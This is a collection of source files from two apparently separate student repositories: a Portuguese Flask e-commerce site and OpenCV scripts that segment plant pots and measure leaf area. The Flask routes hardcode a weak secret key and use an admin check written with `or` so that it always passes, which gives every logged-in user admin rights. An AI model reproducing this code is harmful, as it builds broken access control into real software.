title='Pagina Login')\n\[email protected]('/logout')\ndef logout():\n session.pop('email', None)\n flash('Nenhum usuário logado!')\n return redirect(url_for('home'))\n\n'''\nprods = \"{[1,2,10,90]}\";\n\nprodarray = prods.split(\",\")\n\nprodarray[0]\n'''\n\[email protected]('/pagamento')\ndef pagamento():\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n flash(\"Compra em andamento.\")\n return render_template('admin/pagamento.html')\n\[email protected]('/enviar')\ndef enviar():\n flash(\"Mensagem enviada!\")\n return render_template('admin/index.html')" }, { "alpha_fraction": 0.841269850730896, "alphanum_fraction": 0.841269850730896, "avg_line_length": 61, "blob_id": "9dcea6beeb63525b6ad236ef80129cabdcc05871", "content_id": "080905968cfa4d5ab25db62f3496a8bef94c1f78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 126, "license_type": "no_license", "max_line_length": 78, "num_lines": 2, "path": "/loja/carrinho/formulario.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from wtforms import Form, BooleanField, StringField, PasswordField, validators\nfrom wtforms.fields.core import IntegerField\n\n\n" }, { "alpha_fraction": 0.6740179061889648, "alphanum_fraction": 0.6898690462112427, "avg_line_length": 33.57143020629883, "blob_id": "95e99ec072475239c5f4153ed8380d9b835c8ec2", "content_id": "e8c5941e5edb61d1a654e2d9000884a19aa5f3f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1451, "license_type": "no_license", "max_line_length": 87, "num_lines": 42, "path": "/loja/produtos/models.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from loja import db\nfrom datetime import datetime\n\n\nclass Addproduto(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(250), nullable=False)\n preco = db.Column(db.Numeric(10,2), nullable=False)\n discount = db.Column(db.Integer, default=0)\n stock = db.Column(db.Integer, nullable=False)\n discription = db.Column(db.Text, nullable=False)\n colors = db.Column(db.Text, nullable=False) \n \n pub_date = db.Column(db.DateTime, nullable=False,default=datetime.utcnow)\n\n\n marca_id = db.Column(db.Integer, db.ForeignKey('marca.id'),nullable=False)\n marca = db.relationship('Marca',backref=db.backref('marcas', lazy=True))\n\n categoria_id = db.Column(db.Integer, db.ForeignKey('categoria.id'),nullable=False)\n categoria = db.relationship('Categoria',backref=db.backref('categoria', lazy=True))\n\n \n imagem_1= db.Column(db.String(250), nullable=False, default='image.jpg') \n imagem_2= db.Column(db.String(250), nullable=False, default='image.jpg')\n imagem_3= db.Column(db.String(250), nullable=False, default='image.jpg')\n \n\n\n def __repr__(self):\n return '%r' % self.name\n\n\nclass Marca(db.Model):\n id = db.Column(db.Integer,primary_key=True)\n name = db.Column(db.String(80),nullable= False, unique=True)\n\nclass Categoria(db.Model):\n id = db.Column(db.Integer,primary_key=True)\n name = db.Column(db.String(80),nullable= False, unique=True)\n\ndb.create_all()" }, { "alpha_fraction": 0.6852248311042786, "alphanum_fraction": 0.6916488409042358, "avg_line_length": 64.57142639160156, "blob_id": "a36723b03b55f1902d7fe87ce079e82ee4d31431", "content_id": "0b2eaca86b036ed0454a52f6de0e8f215c1b238a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 937, "license_type": "no_license", "max_line_length": 106, "num_lines": 14, "path": "/loja/produtos/forms.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from flask_wtf.file import FileAllowed, FileField, FileRequired\nfrom wtforms import Form, IntegerField, StringField, BooleanField, TextAreaField, validators, DecimalField\n\nclass Addprodutos(Form):\n name = StringField('Nome :',[validators.DataRequired()])\n preco = DecimalField('Preço :',[validators.DataRequired()])\n discount = IntegerField('Desconto :',[validators.DataRequired()])\n stock = IntegerField('Estoque :',[validators.DataRequired()])\n discription = TextAreaField('Descrição:',[validators.DataRequired()])\n colors = TextAreaField('Cor :',[validators.DataRequired()])\n\n image_1 = FileField('Image 1 :', validators= [FileRequired(),FileAllowed(['jpg','png','gif','jpeg'])])\n image_2 = FileField('Image 2 :', validators= [FileRequired(),FileAllowed(['jpg','png','gif','jpeg'])])\n image_3 = FileField('Image 3 :', validators= [FileRequired(),FileAllowed(['jpg','png','gif','jpeg'])])\n \n \n\n \n" }, { "alpha_fraction": 0.6630630493164062, "alphanum_fraction": 0.6684684753417969, "avg_line_length": 29.05555534362793, "blob_id": "12157d22b4dc962913ffbb41f062b1b289266fd8", "content_id": "dccf4d92603ea39c83a83bc1d6309d74b16847c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 555, "license_type": "no_license", "max_line_length": 91, "num_lines": 18, "path": "/loja/carrinho/models.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from loja import db\nfrom loja.produtos.models import Addproduto\n\n\nclass Carrinho(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n usuario = db.Column(db.String(200), unique=False, nullable=False)\n\n idproduto = db.Column(db.Integer, db.ForeignKey('addproduto.id'),nullable=False)\n addproduto = db.relationship('Addproduto',backref=db.backref('addprodutos', lazy=True))\n\n quantidade = db.Column(db.Integer, nullable=False)\n \n \n def __repr__(self):\n return '%r' % self.idproduto\n \ndb.create_all()\n\n \n " }, { "alpha_fraction": 0.7747395634651184, "alphanum_fraction": 0.7747395634651184, "avg_line_length": 27.481481552124023, "blob_id": "80eaf207a20bb3bef236d4a08bb449c1cb93f445", "content_id": "2196bf894e091ed3471e20238c9317156a83a723", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 768, "license_type": "no_license", "max_line_length": 83, "num_lines": 27, "path": "/loja/__init__.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "import os\nfrom flask import Flask\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import FileStorage\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bcrypt import Bcrypt\nfrom flask_uploads import IMAGES, UploadSet, configure_uploads, patch_request_class\n\n\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///minhaloja.db'\napp.config['SECRET_KEY'] = 'dados'\ndb = SQLAlchemy(app)\nbycrpt = Bcrypt(app)\n\napp.config['UPLOADED_PHOTOS_DEST'] = os.path.join(basedir,'static/images')\n\nphotos = UploadSet('photos', IMAGES)\nconfigure_uploads(app, (photos))\npatch_request_class(app)\n\n\nfrom loja.admin import rotas\nfrom loja.produtos import rotas\nfrom loja.carrinho import rotas" }, { "alpha_fraction": 0.6081613898277283, "alphanum_fraction": 0.6113470792770386, "avg_line_length": 37.48537826538086, "blob_id": "bda92d67de92349797d56d9c721e9a0012c9bdb5", "content_id": "2b0ec4ce6c7b2eb064c0ff9a1f94a8f7df3078d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6616, "license_type": "no_license", "max_line_length": 214, "num_lines": 171, "path": "/loja/produtos/rotas.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from flask import redirect, render_template, url_for, flash, request,session\nfrom werkzeug.utils import secure_filename\nfrom .forms import Addprodutos\nfrom loja import db, app, photos\nfrom .models import Marca, Categoria,Addproduto\nimport secrets\n\n\[email protected]('/addmarca', methods =['GET','POST'])\ndef addmarca(): \n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n if (request.method == \"POST\") :\n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'):\n getmarca = request.form.get('marca')\n marca = Marca(name=getmarca)\n db.session.add(marca)\n flash(f'A marca {getmarca} foi cadastrada com sucesso', 'success')\n db.session.commit()\n return redirect(url_for('addmarca'))\n else:\n flash(f'Usuário sem autorização!', 'danger')\n return render_template('/produtos/addmarca.html', marcas='marcas')\n\n\[email protected]('/addcat', methods =['GET','POST'])\ndef addcat():\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n if request.method == \"POST\":\n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'):\n getcategoria = request.form.get('categoria')\n cat = Categoria(name=getcategoria)\n db.session.add(cat)\n flash(f'A categoria {getcategoria} foi cadastrada com sucesso', 'success')\n db.session.commit()\n return redirect(url_for('addcat'))\n else:\n flash(f'Usuário sem autorização!', 'danger')\n return render_template('/produtos/addmarca.html')\n\n\n\n\[email protected]('/addproduto', methods =['GET','POST'])\ndef addproduto():\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n marcas = Marca.query.all()\n categorias = Categoria.query.all()\n form = Addprodutos(request.form) \n if request.method == \"POST\": \n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'):\n\n name = form.name.data\n preco = form.preco.data\n discount = form.discount.data\n stock = form.stock.data\n discription = form.discription.data\n colors = form.colors.data \n marca = request.form.get('marca')\n categoria = request.form.get('categoria') \n\n image_1 = photos.save(request.files.get('image_1'),name=secrets.token_hex()+ \".\")\n image_2 = photos.save(request.files.get('image_2'),name=secrets.token_hex()+ \".\")\n image_3 = photos.save(request.files.get('image_3'),name=secrets.token_hex()+ \".\")\n \n\n\n addprotu = Addproduto(name=name,preco=preco,discount=discount,stock=stock,discription=discription,colors=colors,marca_id=marca,categoria_id=categoria,imagem_1=image_1, imagem_2=image_2, imagem_3=image_3\n )\n\n db.session.add(addprotu)\n flash(f'Porduto {name} foi cadastrada com sucesso', 'success') \n db.session.commit()\n return redirect(url_for('admin'))\n else:\n flash(f'Usuário sem autorização!', 'danger') \n\n return render_template('produtos/addproduto.html', title=\"Cadastrar Produtos\", form=form, marcas=marcas, categorias=categorias)\n\n\n\[email protected]('/updatemarca/<int:id>', methods =['GET','POST'])\ndef updatemarca(id):\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n updatemarca = Marca.query.get_or_404(id)\n marca = request.form.get('marca')\n if request.method == \"POST\":\n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'):\n updatemarca.name = marca \n flash(f'Fabricante atualizado com successo', 'success') \n db.session.commit() \n return redirect(url_for('marcas')) \n else:\n flash(f'Usuário sem autorização!', 'danger') \n return render_template('/produtos/updatemarca.html', title='Atulizar Fabricantes', updatemarca=updatemarca)\n\n\n\[email protected]('/updatecat/<int:id>', methods =['GET','POST'])\ndef updatecat(id):\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n updatecat = Categoria.query.get_or_404(id)\n categoria = request.form.get('categoria')\n if request.method == \"POST\":\n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'):\n updatecat.name = categoria \n flash(f'Fabricante atualizado com successo', 'success') \n db.session.commit() \n return redirect(url_for('categoria')) \n else:\n flash(f'Usuário sem autorização!', 'danger') \n return render_template('/produtos/updatemarca.html', title='Atulizar Fabricantes',updatecat=updatecat)\n\n\n\n\n\[email protected]('/updateproduto/<int:id>', methods =['GET','POST'])\ndef updateproduto(id):\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n marcas = Marca.query.all()\n categorias = Categoria.query.all()\n produto = Addproduto.query.get_or_404(id)\n marca = request.form.get('marca')\n categoria = request.form.get('categoria')\n form = Addprodutos(request.form)\n if request.method ==\"POST\":\n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'):\n produto.name = form.name.data\n produto.preco = form.preco.data\n produto.discount = form.discount.data\n\n produto.marca_id = marca\n produto.categoria_id = categoria\n \n produto.stock = form.stock.data\n produto.colors = form.colors.data\n produto.discription = form.discription.data\n\n db.session.commit()\n flash(f'Produto atualizado com successo', 'success') \n return redirect(url_for('admin'))\n else:\n flash(f'Usuário sem autorização!', 'danger')\n\n form.name.data = produto.name\n form.preco.data = produto.preco\n form.discount.data = produto.discount\n form.stock.data = produto.stock\n form.colors.data = produto.colors\n form.discription.data = produto.discription\n \n\n return render_template('/produtos/updateproduto.html', title='Atulizar Produtos',form=form, marcas=marcas, categorias=categorias, produto=produto)\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6736566424369812, "alphanum_fraction": 0.6893839836120605, "avg_line_length": 48.53333282470703, "blob_id": "34d08c379df0f1cb3223a19131541c75f284261c", "content_id": "7d46459d107e2e1e89b41696a8f1d665b8ed2779", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 765, "license_type": "no_license", "max_line_length": 80, "num_lines": 15, "path": "/loja/admin/formulario.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from wtforms import Form, BooleanField, StringField, PasswordField, validators\n\nclass RegistrationForm(Form):\n name = StringField('Nome completo', [validators.Length(min=4, max=50)])\n username = StringField('Username', [validators.Length(min=4, max=25)])\n email = StringField('Endereço de Email', [validators.Length(min=6, max=50)])\n password = PasswordField('Digite sua senha', [\n validators.DataRequired(),\n validators.EqualTo('confirm', message='Utilize a mesma senha!')\n ])\n confirm = PasswordField('Digite sua senha novamente')\n\nclass LoginFormulario(Form):\n email = StringField('Endereço de Email', [validators.Length(min=6, max=50)])\n password = PasswordField('Sua senha', [ validators.DataRequired()])\n\n \n \n \n\n" }, { "alpha_fraction": 0.6285949349403381, "alphanum_fraction": 0.6306491494178772, "avg_line_length": 30.610389709472656, "blob_id": "17733df2d91d4a852c56dee2fdb6813b5e263412", "content_id": "e64e072f92877cbe93dc20f3e1f0b9dfe4ce8e69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2438, "license_type": "no_license", "max_line_length": 132, "num_lines": 77, "path": "/loja/carrinho/rotas.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from flask import render_template, session, request, url_for, redirect, flash, current_app\nfrom loja.produtos.models import Addproduto,Categoria\nfrom loja.carrinho.models import Carrinho\nfrom loja import app, db\n\n\[email protected]('/addcarrinho/<int:id>', methods=['POST','GET'])\ndef addcarrinho(id): \n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n if (request.method =='POST'): \n usuario = session['email'] \n quantidade = request.form.get('quantidade') \n \n addprodutocarrinho = Carrinho(usuario=usuario, idproduto=id, quantidade=quantidade ) \n db.session.add(addprodutocarrinho)\n db.session.commit() \n \n return redirect(request.referrer) \n \n \[email protected]('/carrinho', methods=['POST','GET'])\ndef carrinho():\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n usuario = session['email'] \n carrinho = Carrinho.query.filter_by(usuario=usuario).all() \n categorias = Categoria.query.all() \n produtosStock = Addproduto.query.filter(Addproduto.stock <= 0)\n \n total = 0\n for carin in carrinho:\n subtotal = carin.quantidade * carin.addproduto.preco\n total = total + subtotal \n \n return render_template('admin/carrinho.html', title='Pagina Login', carrinho=carrinho, categorias=categorias, grande_tota=total)\n\[email protected]('/deleteitem/<int:id>', methods=['POST','GET'])\ndef deleteitem(id):\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n \n itemcarrinho = Carrinho.query.get_or_404(id)\n print(itemcarrinho)\n db.session.delete(itemcarrinho)\n db.session.commit()\n \n return redirect(url_for('carrinho')) \n\n\n\n\n\[email protected]('/updateitem/<int:id>', methods=['POST','GET'])\ndef updateitem(id):\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n \n \n \n if (request.method =='POST'): \n quantidad = request.form.get('quantidade') \n print(quantidad) \n \n updated_this = Carrinho.query.filter_by(id=id).first()\n \n updated_this.quantidade = quantidad\n \n db.session.commit()\n \n return redirect(url_for('carrinho')) " } ]
9
jetzy46/RoulettePyt
https://github.com/jetzy46/RoulettePyt
731e9e26fc3a07831b928e543a84df68bd809e11
b4b2c61308e290f42b42108980234359adcfe63f
01e992e6a0ea1fd0d4e369d611a774326e0afc02
refs/heads/master
2020-12-28T08:48:33.937777
2020-02-04T16:37:43
2020-02-04T16:37:43
238,252,485
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7262569665908813, "alphanum_fraction": 0.7374301552772522, "avg_line_length": 24.714284896850586, "blob_id": "0ff1ae94d205953ab62ba6ac37e5ff400276974f", "content_id": "659e2e9e990983f207b22206afe641c6f2a6d63a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 179, "license_type": "no_license", "max_line_length": 60, "num_lines": 7, "path": "/Casino.py", "repo_name": "jetzy46/RoulettePyt", "src_encoding": "UTF-8", "text": "import random\n\nnumJ = int(input(\"Sur quel numero souhaitez-vous pariez ?\"))\nmiseJ = int(input(\"Combien souhaitez-vous pariez ?\"))\n\ntirage = int(random.randrange(50))\nprint(tirage)" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 13, "blob_id": "54772b83f71d915875de59124f7a3f4838ac3d8e", "content_id": "d55073354d24bd7073baa0b04c011c04ed6ee5a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 15, "license_type": "no_license", "max_line_length": 13, "num_lines": 1, "path": "/README.md", "repo_name": "jetzy46/RoulettePyt", "src_encoding": "UTF-8", "text": "# LA ROULETTE\n\n" } ]
2
jhaji12/Chat_room
https://github.com/jhaji12/Chat_room
565bd2a50d15ffc56557aa7cae16ee0173e31eba
57d9c00dc126b66a04e71e320895a2cc2e524a3b
f4af35c8566465137ae87d297cccd70913ebc42c
refs/heads/main
2023-04-01T08:44:26.444340
2021-04-07T20:14:15
2021-04-07T20:14:15
353,672,041
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6651045680046082, "alphanum_fraction": 0.6723143458366394, "avg_line_length": 29.545454025268555, "blob_id": "300a95d1c6113b65822880c21a686c71f8c57115", "content_id": "c47acaa0cbc3ad8112cfe1c4cc4e08b924613c8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2774, "license_type": "no_license", "max_line_length": 125, "num_lines": 88, "path": "/server.py", "repo_name": "jhaji12/Chat_room", "src_encoding": "UTF-8", "text": "# import socket library\r\n# import threading library\r\nimport socket\r\nimport threading\r\n\r\n# Choose a port that is free\r\nPORT = 50000\r\n\r\n#gethostbyname() function of socket module returns the IP address of a given host name.\r\nSERVER = socket.gethostbyname(socket.gethostname())\r\n\r\n# Address is stored as a tuple with server and port number\r\nADDRESS = (SERVER, PORT)\r\n\r\n#format of encoding and decoding\r\nFORMAT = \"utf-8\"\r\n\r\n#Lists that will contains all the clients connected to the server and their names.\r\nclients, names = [], []\r\n\r\n# Create a new socket for the server where AF_INET is the type of Address(will return IPv4) and Sock_STREAM is the TCP socket\r\nserver = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\n\r\n#bind function is used to bind the address of the server to the socket\r\nserver.bind(ADDRESS)\r\n\r\n\r\n# function to start the connection\r\ndef startChat():\r\n print(\"server is working on \" + SERVER)\r\n\r\n # it will check for any new connection\r\n server.listen()\r\n\r\n while True:\r\n # accept connections from the client and returns a new connection to the client and the address bound to it\r\n connection, addr = server.accept()\r\n connection.send(\"NAME\".encode(FORMAT))\r\n\r\n # connection.recv function will have maximum of 1024 data that can be received in bytes from clients\r\n name = connection.recv(1024).decode(FORMAT)\r\n\r\n # append the name and client\r\n # to the respective list\r\n names.append(name)\r\n clients.append(connection)\r\n\r\n print(f\"Name is :{name}\")\r\n # print(f\"Client is:{client}\")\r\n # broadcast message\r\n broadcastMessage(f\"{name} has joined the chat!\".encode(FORMAT))\r\n\r\n connection.send('Connection successful!'.encode(FORMAT))\r\n\r\n # Start the receiving thread\r\n thread = threading.Thread(target=receive,\r\n args=(connection, addr))\r\n thread.start()\r\n\r\n # no. of clients connected\r\n # to the server\r\n print(f\"active connections {threading.activeCount() - 1}\")\r\n\r\n\r\n# this function will receive the message from client taking arguement as connection and address\r\ndef receive(connection, addr):\r\n print(f\"New connection has been created {addr}\")\r\n connected = True\r\n\r\n while connected:\r\n # recieve message from client\r\n message = connection.recv(1024)\r\n\r\n # broadcast message to all other clients\r\n broadcastMessage(message)\r\n\r\n # close the connection\r\n connection.close()\r\n\r\n\r\n#broadcast messages function will send the receive message from server to each clients\r\ndef broadcastMessage(message):\r\n for client in clients:\r\n client.send(message)\r\n\r\n\r\n# Function call to start the communication among users\r\nstartChat()" }, { "alpha_fraction": 0.7376490831375122, "alphanum_fraction": 0.7376490831375122, "avg_line_length": 35.625, "blob_id": "12033705cb29a1d8599e8bba98daef8277282db3", "content_id": "1f37e72f52242c07a6acdc79dd116c4e9227dcbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 587, "license_type": "no_license", "max_line_length": 81, "num_lines": 16, "path": "/README.md", "repo_name": "jhaji12/Chat_room", "src_encoding": "UTF-8", "text": "# Chat_room\nPycharm can be used to run this locally </br>\nSocket and threading are mainly used for having communication among users</br>\nImport these packages</br>\n`import socket`</br>\n`import threading`</br>\n\nFor creating Graphical User Interface </br>\n`import tkinter`</br>\nRun `server.py` </br>\nand </br>\nRun `client.py` </br>\nAddress of the server will be displayed in the terminal </br>\nPut that address into `server = 'address'` in `client.py`</br>\nBy this, clients get connected with server </br>\nOn broadcasting any message from server, It can reach to every other clients</br>\n\n" } ]
2
seyedvahidmirnezami/ME585X-ComputerVision
https://github.com/seyedvahidmirnezami/ME585X-ComputerVision
b79c0699e0532aff9255bc1ae2e07be663ed5254
f4704bca8ab2d3d1146405d3404598f2ef7e46b8
8a85d3bf38ba0861f6bc17aab676d0167644cb98
refs/heads/master
2021-09-02T20:54:28.282863
2018-01-03T22:13:56
2018-01-03T22:13:56
116,187,510
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4117647111415863, "alphanum_fraction": 0.5647059082984924, "avg_line_length": 13, "blob_id": "ef58cc0920b1fa7e8b77be6ad8f34ec9c39c90ff", "content_id": "530b1251bd64908f2ec5de58bc53aa2440815c56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 85, "license_type": "no_license", "max_line_length": 35, "num_lines": 6, "path": "/__init__.py", "repo_name": "seyedvahidmirnezami/ME585X-ComputerVision", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 22 14:54:47 2017\n\n@author: theri\n\"\"\"\n\n" }, { "alpha_fraction": 0.5043075084686279, "alphanum_fraction": 0.544731616973877, "avg_line_length": 24.428571701049805, "blob_id": "0d8e7fea31f02c6d315f61136becf4f1d2ad068c", "content_id": "de47997227349a8997a54b7a9bebe5058f49a460", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1509, "license_type": "no_license", "max_line_length": 74, "num_lines": 49, "path": "/leafarea.py", "repo_name": "seyedvahidmirnezami/ME585X-ComputerVision", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 19 17:29:01 2017\n\n@author: theri\n\"\"\"\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport cv2\nimport os, os.path\nimport argparse #used for image rotation\nimport imutils\nfrom glob import glob\nimport random\n\n#set working directory where images are located\nos.chdir('c:/Python27/Trevor_timelapse/4_10/pots_frame322')\ndirname = 'C:/Python27/Trevor_timelapse/frame322_bw'\nos.mkdir(dirname)\n\n#define green hsv color space\nlower_green = np.array([25,100,100])\nupper_green = np.array([60,255,255])\n\n\ncount = 0\nall_dilate =[]\nall_area = []\nfor pots in glob('*.jpg'):\n im = cv2.imread(pots)\n hsv = cv2.cvtColor(im, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv, lower_green, upper_green) \n result = cv2.bitwise_and(hsv,hsv,mask = mask) \n kernel = np.ones((1,1),np.uint8) \n opening = cv2.morphologyEx(mask,cv2.MORPH_OPEN,kernel, iterations = 4)\n \n \n dilate = cv2.dilate(opening,kernel,iterations=7) \n \n area = cv2.countNonZero(dilate)\n \n all_area.append(area)\n all_dilate.append(dilate)\n print all_area\n \n count += 1\n for pots in all_dilate:\n cv2.imwrite(os.path.join(dirname, \"frame%d.jpg\" % count), pots)\n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\n \n" }, { "alpha_fraction": 0.54073566198349, "alphanum_fraction": 0.5857682824134827, "avg_line_length": 24.068965911865234, "blob_id": "28d76a188b37e076c0692e17b506f2f818e4b957", "content_id": "466d1f2066a334ae5bebbb3de6e6f21fb5d9b293", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2909, "license_type": "no_license", "max_line_length": 100, "num_lines": 116, "path": "/find_angle.py", "repo_name": "seyedvahidmirnezami/ME585X-ComputerVision", "src_encoding": "UTF-8", "text": "# load the required libraries\nimport os\nimport cv2\nimport numpy as np\nimport math\nimport csv\nfrom itertools import groupby\n# yoavram: Bug fix for Python 3 as suggested in https://github.com/nschloe/matplotlib2tikz/issues/20\ntry:\n from itertools import izip\nexcept ImportError:\n izip = zip\n\n\n\n#set the working directory to where the raw image is located\nos.chdir('C:/Users/theri/Dropbox/Trevor_timelapse/extracted_frames3')\n\nangle_list = []\nframe_list = []\n\ndef find_angle(arg):\n \n\n\n img = cv2.imread(arg)\n #cv2.imshow('img', img)\n #cv2.waitKey()\n \n \n \n \n \n #create NumPy arrays from the color gray boundaries in RGB\n low = np.array([75-20, 82-20, 89-20])\n high = np.array([212, 206, 207])\n \n\n #find the colors within the specified boundaries and apply the mask\n mask = cv2.inRange(img, low, high)\n cv2.imshow('mask', mask)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n #output = cv2.bitwise_and(img, img, mask = mask)\n\n #filter out the noise\n kernel = np.ones((2,2),np.uint8)\n opening = cv2.morphologyEx(mask,cv2.MORPH_OPEN,kernel, iterations = 1)\n #cv2.imshow('opening', opening)\n #cv2.waitKey(0)\n #cv2.destroyAllWindows()\n\n #use erosion to skeletonize the image\n erode = cv2.erode(opening, kernel, iterations = 6)\n cv2.namedWindow('eroded', cv2.WINDOW_NORMAL)\n cv2.imshow('eroded', erode)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\n\n\n # detect edges of the eroded (skeletonized) image\n edges = cv2.Canny(erode, 150, 450, apertureSize = 3)\n cv2.imshow('edges', edges)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\n #create a variable for the lines that will be created using the HoughLines function\n lines = cv2.HoughLines(edges, 1, np.pi/180, 2)\n\n #for x in range(0, len(lines)):\n for rho, theta in lines[0]:\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a * rho\n y0 = b * rho\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n \n line_img = cv2.line(img, (x1, y1), (x2, y2), (0, 0, 255), 5)\n \n cv2.namedWindow('%s' % arg, cv2.WINDOW_NORMAL)\n cv2.imshow('%s' % arg, line_img)\n cv2.waitKey()\n cv2.destroyAllWindows()\n\n \n if (x1 == x2):\n slope = 90\n \n else:\n slope = ((y2 - y1) / (x2 - x1))\n \n\n \n # find the angle of the found line\n theta = math.degrees(math.atan(slope))\n print (theta, arg)\n if (theta < 0):\n angle = ((theta)*(-1))\n elif ((theta >= 0)&(theta <= 45)):\n angle = theta\n else:\n angle = 90 - theta\n angle_list.append(angle)\n frame_list.append(arg)\n return angle\n \n \n with open('angles.csv', 'w') as a:\n write = csv.writer(a)\n write.writerows(izip(frame_list, angle_list))\n\n" }, { "alpha_fraction": 0.5022863149642944, "alphanum_fraction": 0.6092156171798706, "avg_line_length": 26.55339813232422, "blob_id": "8ef24398a35ff1b832ceab68b7c7bbb2c8a0e090", "content_id": "b812da36d4e472557d3eca18fb3d5ba138e8092a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2843, "license_type": "no_license", "max_line_length": 71, "num_lines": 103, "path": "/segment_pots.py", "repo_name": "seyedvahidmirnezami/ME585X-ComputerVision", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 19 09:22:05 2017\n\n@author: theri\n\"\"\"\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport cv2\nimport os\n#import imutils\n\n\n\n#set working directory where images are located\nos.chdir('C:/Users/theri/Dropbox/Trevor_timelapse/extracted_frames3')\n\n\n\n\n\n \n\ndef segment_pots(arg):\n \n #read frame image\n img = cv2.imread(arg)\n cv2.namedWindow('frame0', cv2.WINDOW_NORMAL)\n cv2.imshow('frame0', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n \n \n #Crop out trays and write it to image file\n tray = img[159:942, 683:1484]\n cv2.imwrite('tray.jpg', tray)\n img2 = cv2.imread('tray.jpg')\n cv2.namedWindow('tray', cv2.WINDOW_NORMAL)\n cv2.imshow('tray', img2)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n #define lengths x and y\n x=133\n y=133\n\n #define range of green color in HSV\n lower_green = np.array([25,100,100])\n upper_green = np.array([60,255,255])\n\n\n\n #choose specific pots from tray 1 (pots 3,4,9,10,15)\n pot3=tray[4:129,1+(2*x):121+(2*x)]\n cv2.imwrite('pot3.jpg', pot3)\n pot4=tray[4+y:129+y,1:121]\n cv2.imwrite('pot4.jpg', pot4)\n pot9=tray[4+(2*y):129+(2*y),1+(2*x):121+(2*x)]\n cv2.imwrite('pot9.jpg', pot9)\n 